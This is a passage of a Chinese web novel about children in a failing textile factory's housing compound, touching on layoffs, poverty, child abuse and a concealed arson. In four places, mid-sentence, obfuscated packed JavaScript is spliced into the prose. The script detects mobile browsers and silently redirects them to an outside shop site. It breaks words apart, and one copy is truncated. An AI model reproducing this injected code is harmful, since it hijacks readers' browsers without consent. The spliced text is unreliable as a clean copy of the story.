如果能过上那样幸福快乐的日子,那当罪魁祸首,有什么不好? “不会的。” 闵朝言摇头,她把一盒水果糖塞进白百福手里,看着她的眼睛。 “不管我有多聪明,也不能让所有人都有工作,让钱自己变多,让碎掉的糖果变回原样。” 女孩一边摇头一边说。 她头发上的蓝青色发夹上贴着细细的水钻,在阳光下是彩色的光芒。 “白百福,我们只是小孩子,小孩子能做到的事情,其实很少很少。” 白百福的眼泪无声地落下来。 呼哧呼哧、呼哧呼哧—— “啊,累死我了!” 在初秋的季节里,郝升祺跑出了一身热汗, “郝升祺?你来干什么?” 闵朝言有点惊讶。 郝升祺喘了一会儿,气才顺过来,看着闵朝言,话还没说出口,眼眶已经红透: “我,我要走了——哇!!!” 他大哭出声。 郝升祺的母亲郝科长是芳芳纺织厂工程科科长,去年升任做副厂长,但郝升祺家并不在芳芳纺织厂家属区居住。 他住在另一个家属大院里,暑假的时候,也很少来到五号楼这边玩。 他暑假会出去玩,有的是大城市,有的甚至是国外。每次开学,他会给闵朝言和白百福带很多新奇的零食。 郝升祺最期待的,就是开学之后和闵朝言说自己又去了哪里,遇到了什么事情,给她带回了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667499|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么新奇的礼物。 “我,我妈妈要调动去另一个城市,我得和她一起去。” 郝升祺坐在闵朝言身边,完全不在意几百块的衣服沾上泥土。 “你要走?” 闵朝言问。 “我也是今天才知道的,闵朝言,你说为什么我们一定要跟着大人走啊?” 郝升祺红着眼,忿忿不平。 郝升祺一知道这件事,就从家里一路跑过来,他还在生气,不想让家里的司机送他。 “可能因为,大人是大人吧。” 闵朝言声音闷闷地回答。 她不喜欢这种感觉。 这种身边的人离开,心里闷闷的感觉,好像是一场很热很长的雨,笼罩住她。 “我不想走,我妈妈很生气,她说重平市也就这样了,留在这里是没有未来的。我听不懂,我不想要未来,我只想和你们待在一起。” 郝升祺的鼻子头都哭红了。 “重平市也就这样了?” 闵朝言重复着这个句子。 闵朝言和郝科长的交集不多。 在三年前的那次见面之后,闵长风并没有如闵朝言所期待的那样和郝科长成为朋友。 闵朝言不理解为什么,她觉得母亲应该很擅长交朋友。 面对这个问题,闵长风只是笑着告诉女儿,因为郝科长不只是郝科长,她从一进厂的时候,大家都知道,这是未来的郝书记,或者郝厂长。 闵朝言没有真正明白这句话的意思,但这并不妨碍她知道:郝科长是一个很厉害,而且会变得更厉害的人。 “嗯,我妈妈说的。我不知道什么意思,重平市明明就很好啊?可是妈妈说,我们一定要搬到沪城去,那里才有发展……反正,我是小孩子,他们不会听我说话的。” 郝升祺很沮丧地低下头。 “你妈妈,还说了什么吗?” 闵朝言分给郝升祺一颗水果糖。 “我偷听到她和我爸爸说,有一个大公司来人了,要在这里盖一个很豪华的新小区,她一定要在这件事情之前走。” 郝升祺有些犹豫地回答。 “其实,我也没听懂……” 他低下头。 “我不想走哇——!!——!” 他又开始哭。 郝升祺是不需要掩饰自己的哭声的,他可以想哭多大声哭多大声。 直到闵朝言对他翻白眼。 “你好吵。” 她说。 “对、对不起。” 郝升祺吸吸鼻子。 “等你放假,再回来找我们就好了。” 闵朝言说。 对闵朝言和白百福来说,上千公里是不可逾越的, 但对于常常坐着飞机去各个地方旅游的郝升祺来说,回来并不是很难。 “但是,你还和我是天下第二好的朋友吗?” 郝升祺小心翼翼地问。 他已经注定不能继续当闵朝言的同桌了,他怕自己保不住这个天下第二好的身份了。 “是的,我们还是天下第二好。” 闵朝言点头,笑着对着他伸出手: “拉钩。” “那,我会给你打电话的,每天打!” 郝升祺的眼睛又亮了。 “不要,每天打好烦,你可以每个周五晚上给我打电话。” 闵朝言摇头。 “哦,好吧……” 郝升祺犹豫着同意,和她拉钩。 “我会给你们寄零食的!” 被接回去之前,郝升祺大声对着闵朝言和白百福说。 闵朝言看着他坐上黑色的小汽车离开,转头却看见已经沉默很久的白百福依然眼睛一眨不眨地看着汽车屁股。 “你舍不得郝升祺吗?” 闵朝言问。 “不是……” 白百福摇头,呢喃着: “我在想,如果我们也像郝升祺家里一样,有小汽车,有司机,有很多很多的钱,是不是大家就都能开心了呢?” 61. 芳芳纺织厂(13) 灰暗,逼仄,在断续明灭的光线中,曲让尘推开房门。 不到三十平的空间里,墙皮早已经斑驳剥落,露出内里坑洼不平的水泥,上面各种经年的污渍重叠,已经看不出来是什么。 在火灾之后,四号楼的房间不能再住人,厂里考虑到曲家一个瘫子一个残疾,给他们重新分配了一个一楼的房子,在一号楼。 一号楼是家属楼中最老的一栋,三十年前建成,楼层低矮,内部昏暗,墙皮大面积的脱落,或许是因为建在排污口附近,总有一种不知道从哪里来的潮湿臭味。 这里之前的住户中,有门路有资历的老工人,早就分配了新的改善房,剩下的,全是安静在这里自生自灭的老弱病残。 老曲想抗议,但他现在只有一条腿,脸上手上都是骇人的烧伤疤痕,临出门之前,他拄着拐杖,面对镜子呆站了很久很久,还是没有迈出去门框。 从那之后,老曲就极少出门。 曲让尘暗自为搬家难过许久,但想到闵朝言终于可以安静地在晚上睡觉了,他又觉得,这实在是最好的事。 他现在已经不再称呼闵朝言为洋娃娃,因为他跑去商场外边去看过真正的“洋娃娃”。 在因为衣衫褴褛被保安挥舞着电棍赶走的时候,曲让尘心里只有一个想法: 洋娃娃这个词,根本配不上闵朝言。 曲让尘现在偷偷叫她公主。 他不敢让闵朝言听见,因为她不喜欢这个称呼。 “回来了。” 常姐没看曲让尘。 曲老大嫌弃两个残废的臭味,前年就搬了出去。当年火灾发生的那天,他非常幸运地要上夜晚,没有在家。 曲让尘时常后悔这一点。 “你先吃饭,然后给你哥喂饭吧。” 常姐站在灶台边上说。 狭窄的房子里,不能同时放下病号床和餐桌。这很好,因为曲家根本买不起餐桌,他们曾经拥有的一切都在火焰中化作灰烬。 曲让尘没说话,点点头,站在灶台边上,拿起已经破了口的搪瓷碗就往嘴里扒饭。 一大碗糙米粥,配上半个咸鸭蛋和半个已经被放干的馒头,这是一顿还不错的饭,毕竟有蛋呢。 大部分时候,他只能吃半个干馒头配两口榨菜。 常姐自己吃的也是一样。 曲让尘吃完,抹一把嘴,拿起搪瓷碗再盛一碗粥,往角落里走去。 室内最角落,靠厕所的地方挂着一张很旧了的白帘,把三十平的室内勉强割成两个空间。 帘子后面,就是曲老三的病床了。 说是病床,其实就是一张铁架子床,垫高了枕头,让他不至于每天都平躺着。 “?%……——)@!!” 曲老三只有半截舌头,本来就说不出话,只能野兽一样从喉咙里顶出嘶吼的怒音。 三年前的火灾里,他是受伤最严重的那个。 醉倒的老曲在厨房,他被烧醒之后马上就开水龙头往自己身上冲。常姐抱着曲让尘躲在厕所,也是用水龙头把两个人浇得透透的。 只有当天刚从医院被接回来的曲老三,眼见着火烧到自己的,却因为双腿被打了石膏跑不了,他挣扎着从床上爬下来,拖着自己的两条腿,拼了命向门口爬行。 然后,然后…… 然后,他就看见了。 刷——帘子被拉开,曲让尘端着碗走进来。 “哥,吃饭了。” 他坐在曲老三床边。 他双手将碗放在曲老三面前,没有喂,也没有说话。 曲老三的眼睛瞪大,眼白中红血丝近乎爆裂,他只剩半截的舌头颤抖。 忽然!他低下头,将整张脸埋进碗里,像饥饿的家猪一样疯狂地吞食,搪瓷碗里发出呼噜呼噜的声音,曲老三将一碗糙米粥囫囵吞下肚,脸上满是粥液和米粒,双眼无神。 “*&……” 吃完了。 “哥,你吃得很好。” 曲让尘双手捧着碗,声音里有小小的赞叹,他的眼睛里,有闪亮的快乐。 曲老三的瞳仁颤抖着,缓缓看向曲让尘。 “*&^IU&……” 是你,都是你,一切都是因为你才会这样的。 大家都说,三年前那场火,是因为老曲喝多了,他烧水洗澡之后,忘了关炉子。 可曲老三知道。 他当时腿疼得厉害,一晚上没睡着,他一直睁着眼睛。 老曲关了火,他是那样一个吝啬鬼,连喝醉了都会记得省燃气。 是曲让尘,曲让尘点着了炉子,然后烧了房子!!! 曲老三在地上往外爬时,能感受到自己的皮肤被一点点烧化,在灼热的空气中,他觉得自己要被烧成一堆灰了! 曲让尘一身湿透,站在厕所的门里,就这样,对他笑了。 看着他扭曲折断的双腿,血肉糜烂的皮肤, 快活的,灿烂的, 笑着。 “@#%妈——!妈*&&——!” 在破碎颠倒的嘶吼中,曲老三哀嚎出唯一一个他能吐出的字眼。 妈! 你明明看到了一切,你明明知道一切! 为什么?为什么不说出真相?为什么看着他被这个小崽子折磨?! 妈——! 妈——!!! 常姐站在水池边上,用一块陈年的抹布缓缓擦着碗。 她听见了帘子后面的哀嚎声,动作短暂地静止,她的睫毛颤抖了两下,随后,她低下头,很慢很慢地眨了眨眼。 曲老三看错了。 三年前,五岁且因为长期营养不良身高矮小的曲让尘,在数次尝试之后,并没有成功点燃炉子里的火。 好在, 有一个愿意帮助他的人,就站在旁边。 - 九月一日,九岁的闵朝言成为了一名初一学生。 开学的第一天很烦。 因为她是班上最小的学生,老师安排她坐在第一排,一整节课,不仅仅是老师,还有所有同学都在看她这个连跳两级的“小天才”。 下课之后,更是所有人都围到她身边,窃窃私语着什么。 闵朝言讨厌这种注视,她觉得自己被当成了某种用于展示的动物。 她面色阴沉地不断按着圆珠笔的笔头,蓝色的墨水在纸上留下杂乱的线条。 “好了,看什么看?你们还是小孩子吗?这么幼稚!” 一个声音刺破空气,手臂上带着袖章的男孩走了过来。 他个子很高,最少有一米七,在初一学生中,这已经是很有威慑力的体格。 “谁看了,我们就是走过来而已,真烦。” 有学生小声嘟囔着。 但大部分学生似乎还是不敢不听他的话,默默散开了。 闵朝言终于摆脱“稀有动物展示中”的标签,脸色稍微好看了一点,圆珠笔被快速按动的声音逐渐停止。 “抱歉,听说有一个年纪很小的跳级生,大家都很好奇,所以有点太兴奋了。你还好吗?” 男生在闵朝言桌前站着,语气很关切。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672447|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我是班长,隋觉荆,以后如果你有任何需要的地方,都可以来找我,我会帮你的。” 他对着闵朝言露出一个大大的笑脸。 闵朝言看了他一会儿,没什么表情,低下头,从课桌洞里拿出来一个东西递给他。 “这是?” 隋觉荆伸手接过。 是一颗橘子软糖。 “谢谢你。” 闵朝言说。 隋觉荆神色一顿,忽然露出一个很灿烂的笑容,还有点不好意思地挠了挠耳朵: “这个,我是班长嘛,应该的,不客气。” “我以为你会是脾气很不好的人呢,电视里天才不是都这样吗?没想到你这么好相处。” 他笑着说。 闵朝言也对他露出一点笑意,眨了眨眼睛: “我对那些围观我的人脾气不好,但是你帮了我啊。” “我们可以做朋友,我会给你带糖。” 她说。 “可是我比你大三岁呢,我应该做你哥哥呀。” 隋觉荆说。 “但是我们是同学,同学之间更应该做朋友。” 闵朝言一本正经。 “好,我们做朋友!” 隋觉荆露出一口大白牙,很认真地回答。 接下来的一天,隋觉荆充分尽到了“班长”和“朋友”的职责,他驱赶了好几次那些上来围观闵朝言的学生,老师看到他这样热心,干脆让他调座位到了闵朝言旁边。 初中都是单人单桌的,他算是闵朝言的“过道同桌”。 “我会保护你的!” 隋觉荆握紧拳头,对闵朝言承诺。 闵朝言默默扭回头,有种看到一只大狗正在疯狂摇尾巴展示自己的错觉。 因为是第一天上初中,放学之后,闵长风来接女儿回家。 她最近常常工作到很晚,脸色总是不好,有时是愧疚,有时是疲倦。闵朝言不知道这些情绪从何而来,只是每看到母亲这样时,心中总有种无力感涌出。 这种无力, 让她想要快些长大,成为至少能够理解母亲的大人。 “言言,开学第一天怎么样?会不会紧张?有认识有趣的人吗?” 闵长风牵着女儿的手走在路上,语气里有些紧张。 她内心是不赞成闵朝言跳级的,学校也并非完全是只有欢乐和童真的地方,一个比同龄人小很多的聪明孩子,有时遭遇的可能不仅仅是崇拜,还有排挤。 但在彻夜思索之后,闵长风还是尊重了女儿的决定。 她知道自己生了一个多聪明早熟的女儿,让一个聪明的孩子不断压抑自己的天分,和性格能力都远逊于自己的同龄人相处,就一定是更好的吗? 闵长风想,或许也并非如此。 “一开始有点烦,很多人来看我,不过我交了一个很有用的朋友,他会帮助我。” 闵朝言回答。 “有用的?” 闵长风有些惊讶于这个形容词。 “嗯,很有用,个子也很高,会帮我拿东西。” 闵朝言回答。 “这个形容很有意思。” 闵长风笑了一声。 “嗯,我有给我买东西的朋友,陪我玩的朋友,和我一样奇怪的朋友,一个很可爱的宠物,现在还有一个有用的朋友。” 闵朝言认真数数。 她有五个朋友,而且每个人的作用都各有长处,真是非常完美的搭配。 “我很会交朋友的。” 闵朝言自信地点头。 62. 芳芳纺织厂(14) 砰! 砰——! 天还没亮透,天井里一片寂静,树木和风都还没醒过来。 砰! 砰砰——! 木门被一下又一下重重砸着,发出沉闷的响声。 “谁啊?大早上不睡觉开始砸门?” 闵长风顶着乱糟糟的头发走出卧室,水肿的眼下有一片青色。 自从开始负责车间的下岗推进之后,这象征着疲惫的黑眼圈就没有整整离开过她的眼睛。 “我去。” 正在做早餐的闵父伸手拦住妻子,用手给她梳了下头发。 他打开门,发现这大清早扰人清静的罪魁祸首就站在自家对门,甚至还是个熟人。 ——吴志。 三年前,吴志因为聚众淫·乱被抓,判了两年劳教,众人都以为他会在出来之后灰溜溜离开。 他今天出现在这里,又是为了什么? 闵父的眉头深深地皱起来,他对这种污染男人名声的败类没有任何好脸色。 “别砸了。” 他沉声说。 闵父个子很高,常年干的是力气活,三十岁出头的年纪,身材健壮有力,加上本就是寡言冷硬的长相,皱起眉时,面相凶得很。 吴志原本一脸愤恨地在砸门,已经开始用脚踹门,嘴里咒骂着不干不净的话,转头见闵父的阴沉脸色,下意识缩了一下。 可马上,他不知何处而来的自信又升腾起来——自己可是在号子里蹲过的人,该是别人怕他! 显然,他已经刻意忘记了自己从前的种种不光彩。 “我砸自己家的门,关你什么事?!” 吴志呛声回去,被烟酒彻底搅烂的嗓子,听起来像个廉价破旧的老风箱。 闵父按捺住心下的不耐,一字一句: “现在,滚。” 吴志看着他那双锐利的眼,下意识又是一抖,嘴上还不肯讨饶,手已经从门上收回来。 “这本来就是老子的房子,老子不走,你能怎么办!” 他悻悻说着,依然梗着脖子。 闵父高了吴志半个脑袋,他身躯投下的阴影,能将这个贼眉鼠眼的中年男人,整个压进黑压压的影子里面。 他上前一步。 “老子走!我走!” 吴志大喊一声,抬手擦脸上的汗。 吴志心里觉得闵父应该是不敢打自己的,他在劳教所里听说过,现在厂里查得严,厂职工但凡有什么作奸犯科的事,必定是开除加批判。 毕竟,让工人下岗还需要买断工龄做思想工作,开除工人可是一点不需要花钱的。 可他还是怕,怕得很,这种恐惧不是在心里告诉自己“不会被打”就能被祛除的。 他从来就是这样贪婪却懦弱的人。 “老子自己的房子,自己的……” 吴志低声说着,缩着肩膀下楼离开了。 来之前,吴志打死了主意死赖在门前,直到自己捞到什么好处,现在,他像只被踹了一脚的老鼠,又灰溜溜跑掉了。 他用力将自己的脚步声跺得很响,活像一个吃了个败仗的公鸡一边打着鸣一边逃跑。 “谢谢。” 随着那聒噪的脚步声走远,闵家对面的房门打开了。 说话的是个中年女人,她脸上满是惊吓后的疲惫。 “不用。” 闵父摆手,转身回去了。 已经梳洗干净闵长风走出来了,走到对门前,有些无奈: “齐姐,他不是什么好人,这房子,要是厂里那边有别的空房,就换一间吧。” 齐姐是这间房的住户,但这个房子,不是她“分”来的,而是“租”来的。 随着厂里的效益越来越差,厂里以“为居民提供改善住房”的名义向社会开放了租房。 不过,真正的社会租户其实很少,住在这里的大部份还是下岗职工。 下岗之后,他们失去了职工的分房福利,不能继续免费住在家属楼里,又承担不起外面社会的房租价格,只能继续支付房租,住在原本分配给自己的房子里。 当然,厂里还向他们提供了另一个选择,就是在正式下岗前,还是可以用正式职工身份,买下福利房产权。 如果手里的现金不够,可以用即将到手的工龄买断费来先垫上。 这样的举措又让很多工人抗议了:这些工龄买断费明明是用来补偿大家下岗的,怎么现在工厂又要用“买房子”的理由把钱收回去?! 可是这也是没办法的事,大家抗议归抗议,手里有钱的,还是尽量买了房子,没有钱的,即使想买,也不敢把工龄买断费一次性都花完。 没了这几万块钱,没有工作,没有青春,没有学历的下岗工人们,要怎么活下去呢? 闵长风每天都要发出不同金额的补偿金,给不同的工人。 上面的数字有多有少,可不论多少,都不足以托住一家人未来的人生,不足以让自己为这个厂付出的青春显得不那么可笑。 “谢谢你,妹子。” 齐姐听着闵长风的安慰,没说什么,动作很轻地摇摇头,叹了口气。 她大概有什么不能离开的隐情,这世道下,每个人都有些说不出又舍不下的东西。 闵长风没有多问。 开学第二周,初中生们对闵朝言这个“小天才”的好奇心渐渐降温。 隋觉荆终于不用每个课间都像护卫犬一样守在闵朝言桌边。 但他依然将自己当作了闵朝言的护卫者。 “我不会受伤的,你不用在下面接着我。” 体育课,闵朝言坐在双杠上,第一次感觉到无奈和无力交杂。 “这个双杠太高了。” 隋觉荆不赞同。 “只比小学的高一点点而已。” 闵朝言不赞同。 “我怕你摔下来。” 隋觉荆很认真,站在闵朝言后边张开双手,一副随时想要接住她的样子。 “你没有别的朋友吗?为什么总是跟着我啊!” 闵朝言气闷。 班上同学对于“小天才闵朝言”的好奇消失之后,隋觉荆这个曾经负责为闵朝言抵挡来自他人好奇议论和视线的朋友,就渐渐显得没用起来。 而且他总是管东管西的,让闵朝言很烦。 他先是半强制地自顾自帮闵朝言打水,不接冷水也不接热水,非要两边来回兑半天给闵朝言喝温水; 然后是体育课的热身运动,闵朝言懒得做,他就自顾自出列监督她动作要到位; 还有就是现在!她想玩个双杠也要被管! 闵朝言有点无奈。 她之前拥有过的朋友每个都很听她的话,她也习惯了这件事。 所以,当现在遇上了隋觉荆这种面上脾气好好说什么都答应,行动上却完全坚持原则的人, 闵朝言发现自己完全不知道该怎么才能控制住他。 “我没有别的朋友啊。” 隋觉荆看着闵朝言,露出一口大白牙。 “大家都讨厌我,觉得我管得太宽,所以不想和我当朋友。” 他说得很平淡,没有一点失落。 又或者是这件事情发生了太多次,他已经不会再感到失落。 闵朝言没说话,眨巴着眼睛,不知道自己现在该怎么做才好。 她觉得隋觉荆有点可怜。 好像一只站在原地看着她哈气,但是尾巴低落垂下来的大黑狗。 “但是,你对人很好啊。” 她犹豫了一下,说。 “但是,他们不喜欢啊。” 隋觉荆模仿着她的语气。 “而且……你也不喜欢啊。” 他的声音放轻了。 闵朝言又不说话了,她想了想,双脚勾住双杠的其中一边,腰抵住另一边,然后身子向后一翻,直接倒挂了过来! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678102|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “!!你快下来,好危险!” 隋觉荆双眼瞪大,跑过来就要扶她。 “别动我!” 闵朝言倒挂着,看着隋觉荆的眼睛。 “我可以做你的朋友,但是我有要求。” 她说。 “什么要求?” 隋觉荆问。 “你也陪我一起倒过来!” 她说。 “啊?” 隋觉荆没反应过来。 “朋友不能只有管着,也要有一起玩,你要陪我玩我想玩的东西,我也会陪你玩你想玩的东西。” 闵朝言说。 倒挂的姿势下,她鬓角的一点头发落下来,露出一张白净的脸。 闵朝言眼睛很大,眼尾上挑狭长,看人时像刀子一样,又利又痛。 “你想玩这个?” 隋觉荆眼中露出犹豫, “可是,很危险,我怕你受伤。” “出门走路可能被撞死,在栏杆边上可能摔死,吃饭也可能噎死,这些事情你永远都不做吗?” 闵朝言大声问他。 “但是,不一样,人不吃饭会饿死啊。” 隋觉荆觉得这是歪理。 “一样的,如果有意思的事情不能做,我会无聊死!” 闵朝言盯着他的眼睛。 这个世界上有意思的事情很多,闵朝言每个都想体验。 “那,你会保护好自己吗?” 隋觉荆问。 “嗯?” 闵朝言没明白。 “你会保护我啊!” 她想了一下,笑着回答。 …… 隋觉荆看着她,很久,忽然笑了。 他翻身坐到双杠上,他个子高,很轻松就能模仿出闵朝言的动作。 “不管是多有意思的事情,都不要受伤,不要死掉。” 同样倒挂在双杠上,隋觉荆转头看着闵朝言的眼睛。 “不然,被留下来的人,会非常,非常难过的。” 他的声音很轻很轻。 闵朝言没有说话,拉住他的手,两个孩子就这样,在双杠上摇摇晃晃地倒挂着。 她和他的双眼中, 世界一起颠倒了。 “我们现在都在杠上了,如果掉下去的话,我可以垫着你。” 隋觉荆说, “你想做什么都可以,我会陪你的。” 也会保护好你的。 他握紧闵朝言的手。 这是这个世界上唯一一个需要他的保护,唯一一个接受了被他保护的人。 他空荡荡生命中,第一份责任。 初中放学的时间比小学晚,闵朝言回到家的时候,已经是黄昏时刻。 “言言,回来了就先去吃饭吧,妈妈有点事要出门一趟。” 闵长风从房间里匆忙走出来,神色很着急。 “怎么了?” 闵朝言有些疑惑地问。 “你张叔在路上被人打伤了,我去看一眼。” 闵长风说。 她口中的“张叔”是六车间的一名工人。 “他们都不理你了,你去看什么?” 闵朝言不解。 “……毕竟,还是要看看的。” 闵长风沉默良久,露出带着苦涩的笑意,摸了摸女儿的手。 “言言,这个世界上的事情是很复杂的,朋友不仅仅是有用,也会有感情。有时候,即使不再是朋友了,也会有感情。” 她说。 闵朝言看着母亲的表情。 九岁的闵朝言, 不理解为什么人们之间明明还有感情,却不再是朋友; 也不理解为什么人们之间明明已经不再是朋友,却会有感情。 但她现在还不需要知道这些。 她只需要知道, 这世界很大很大,还有很多很多,可以供她玩耍。 63. 芳芳纺织厂(15) 天蒙蒙亮,曲让尘背着蛇皮袋子来到荒地。 “小子,这么早啊?” 老亏和他打招呼。 他皮肤黝黑,头发花白,身材不算高大,但很结实,一看就是有一把子力气的。 几个月前,曲让尘说想自己挣钱,闵朝言帮他想了半天,又回家问了妈妈爸爸该怎么办。在闵父的提议下,让曲让尘来荒地,跟着老亏捡瓶子。 虽然挣不到什么钱,但有老亏帮忙照看,曲让尘至少不至于给拐子带走,又被卖掉一回。 “嗯,亏叔好。” 曲让尘说。 他依旧穿着自己那件已经小了的衣服,上面修补了很多次,各种颜色的破布补丁叠在一起,有点滑稽。 “是啊,天气冷啦。” 老亏感叹一句,扔了一个塑料袋过来,里面是团成团的几件衣服。 “郝副厂长搬走了,扔了不少好东西,里面有几件男孩衣服,我给你留着了。” 老亏在荒地住了数年,这一片里算是资深的拾荒者了。 拾荒者里也有等级秩序,什么样的东西可以自己捡,什么样的东西只有“前辈”才能捡。 这种好布料,即使是孩子衣服,也属于“稀罕物”了。 “谢谢。” 曲让尘接过来,把衣服从塑料袋里拿出来。 他见过这身衣服,这是郝升祺的衣服。 白天,在他还太瘦弱甚至连瓶子也捡不动的时候,曲让尘会一个人走很久的路,到附小旁边。 他躲在树的影子里,在星期一,星期三和星期五的下午,闵朝言的班级会上体育课,她会在操场上和她的两个朋友玩。 郝升祺总会展示他的新衣服,每一件都是曲让尘没见过的样子。 如果闵朝言说好看,郝升祺就会穿那件衣服很多次,如果闵朝言说不好看,那件衣服就再也不会出现在郝升祺的身上了。 看着手里的衣服,曲让尘仔细地把上面的灰尘擦掉。 他想起来,闵朝言从来没有说过他的衣服不好看,可能是因为,她知道曲让尘没有别的衣服可以换。 “这个衣服,可以拿去卖吗?” 曲让尘语速很慢地说。 “能是能,不过你一个小孩儿去卖旧衣服,肯定被坑的。” 老亏说。 “多好的衣服,你自己穿着呗。” 曲让尘摇摇头,轻轻说: “我不想穿。” 他不想穿郝升祺的衣服。 穿着郝升祺的衣服,是不是闵朝言看着曲让尘的时候,就会想起郝升祺了? 曲让尘瘦弱精致的脸上,眼睛低低垂下去,露出一点失落。 “哎,行行行,亏叔帮你!” 看着这小孩可怜兮兮的样子,老亏无奈地挠了一把脑袋。 他为了供妹妹上学,一直没成家,自然也就没有孩子, 如今到了三十大几的年纪,看着曲让尘,心里总想多照顾照顾。 老亏带着曲让尘,在批发市场把衣服买了,六件衣服,一共卖了七十块钱。 这其实已经很亏了,这些都是牌子货,买来的价格可能要上千块,但在批发市场里,再好的牌子货,也就是这个价。 “给你,自己去买点衣服吧。” 老亏把毛糙的纸钞递给曲让尘。 曲让尘低头接过,仔细数出来十五块钱,递回给老亏。 “谢谢你,亏叔。” 他声音小小弱弱的,眼神却没有半点胆怯懦弱。 “……嗐,我要你个小毛孩的钱干什么!” 老亏眼睛一热,别扭地转过头去,不肯接。 “阿言说了,有人帮我,我要表示感谢。这样下次人家才会继续帮我。” 曲让尘露出一点笑容来, “我要听话的。” “哎……你呀!” 老亏一把接过钱,用它轻轻抽了一下曲让尘的脑袋。 “你和小言好,这是好事,但是有点钱,也不能光给朋友花啊,马上冷了,你总得给自己找点衣服裤子穿吧?” 老亏叹气。 “你户口解决了,明年就能上学了,你们家肯定不会给你准备书包啊笔啊之类的东西,你怎么办?” 说去老曲家那一堆丧良心的,老亏就想骂人。 把孩子领回家了,结果当畜牲一样养着,动辄打骂,还不给吃不给穿的,太不是人了! “阿言说,她会把她不要的书包和笔给我。她也给我衣服了。我不想弄脏,今天才没穿的。” 曲让尘乖乖回答。 闵朝言说过,这个世界上正眼看曲让尘的人很少,如果曲让尘遇到了,就要努力让这些人喜欢自己。 “这些人都很有用的,因为你什么都没有,所以他们能给你一点点好处,你就赢了。” 曲让尘还记得,闵朝言说这话的时候,正在吃糖,她的脸颊鼓起来一点,圆乎乎的,很可爱。 他什么都听闵朝言的,他只有这样才能活下去。 “小言是个好孩子,你得记她的恩。” 老亏笑了一声,大手揉了一把曲让尘的脑袋。 “嗯!” 说到闵朝言,曲让尘脸上露出一个大大的笑容,很用力地点头,老亏都怕他那个细脖子直接折了。 “天气快冷了,我想给阿言买一双手套,商场里那种。” 曲让尘攥紧了手里的钱,漂亮的眼睛里闪烁着向往的光芒。 “我想让阿言,有所有公主该有的东西。” 他说。 在垃圾场找到的童话书里,公主会和王子结婚,生活在一起。 曲让尘知道自己不是王子,没有王子需要捡垃圾才能给公主买礼物。 他要做一个勤勤恳恳的小矮人, 让公主能够什么也不用做,只需要快乐地和小动物一起唱歌。 “行吧,那这个钱,亏叔给你存着。” 老亏看着瘦弱的男孩,看了半天,没说出阻止的话,把手里的十五块钱收起来。 十五块钱,可以买一双廉价的手套,一件不太保暖但是能让人不会被冻死的棉衣。 老亏说不出阻止曲让尘的话,即使这个小孩看上去对闵朝言的崇拜已经到了疯魔的程度。 但是一个这么苦这么难的孩子,如果再不疯狂去信仰一些东西, 他撑不下去的。 “谢谢亏叔。” 曲让尘笑起来。 果然,听阿言的话,他就会过得很好! 曲让尘一直捡瓶子到傍晚,被老亏赶了回去。 太阳落下之后的荒地,和白天是两个世界。 借着不远处家属楼的灯光,荒地上的人影隐隐约约聚拢,白天,他们的靠着拾荒卖废品挣钱,晚上,他们的营生就换了。 “听说了吗?有个掐灯花儿的疯了,在路上就给人开瓢了!” “新来的吧?这么不懂规矩?不知道正式职工不能碰吗?” “最近查得严,估计咱们又要被好一通折腾了!真是有病!哪儿冒出来的玩意儿?” “掐灯花儿”是黑话,指的是半夜在暗处上以抢人财物为营生的人。这样的人在荒地一直有,不过他们很少会将纺织厂的正式职工当作目标,往往只对拾荒者下手。 没有工作没有户口,甚至自己也不是做什么正道生意的拾荒者们,即使发生了冲突,或者遇到了这种事,也很少会去报案,往往自己咽下去,或者再拉人报团给自己报仇。 虽然只有不到两公里的距离,但纺织厂内和荒地,是两个截然不同,互不干涉的世界。 “咱们要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683607|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不把这人找出来,交给条子?” 有人提议。 “没用!这两年新上来那个局头儿,姓隋的,可狠了!本来就要严打,现在有了理由,肯定更要弄咱们!” 另一个人恨恨反驳。 “她为什么跟咱们这么过不去啊?” 有人问。 